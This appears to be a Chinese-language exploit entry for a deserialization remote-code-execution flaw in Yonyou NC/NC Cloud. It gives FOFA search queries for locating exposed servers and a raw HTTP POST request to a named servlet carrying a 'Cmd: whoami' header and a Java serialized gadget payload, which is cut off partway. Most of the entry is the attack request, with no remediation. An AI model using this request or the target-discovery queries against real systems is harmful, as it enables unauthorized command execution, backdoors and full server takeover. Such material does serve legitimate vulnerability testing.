Y8-21用友-NCCloud-反序列化RCE

漏洞描述：

用友 NC及NC Cloud 存在多处反序列化代码执行漏洞，攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。

网站图片：

网络测绘：

fofa语法：

banner="nccloud" || header="nccloud" || (body="/platform/yonyou-yyy.js" && body="/platform/ca/nccsign.js") || body="window.location.href=\"platform/pub/welcome.do\";" || (body="UFIDA" && body="logo/images/") || body="logo/images/ufida_nc.png" || title="Yonyou NC" || body="

" || body="

漏洞复现：

payload：

```
POST /servlet/~uapim/com.ufida.eip.adaptor.servlet.ServletForESBAdaptor HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cmd: whoami
Accept-Encoding: gzip
Content-Length: 20434

{{unquote("\xac\xed\x00\x05sr\x00\x11java.util.HashSet\xbaD\x85\x95\x96\xb8\xb74\x03\x00\x00xpw\x0c\x00\x00\x00\x02?@\x00\x00\x00\x00\x00sr\x004org.apache.commons.co
```

效果图: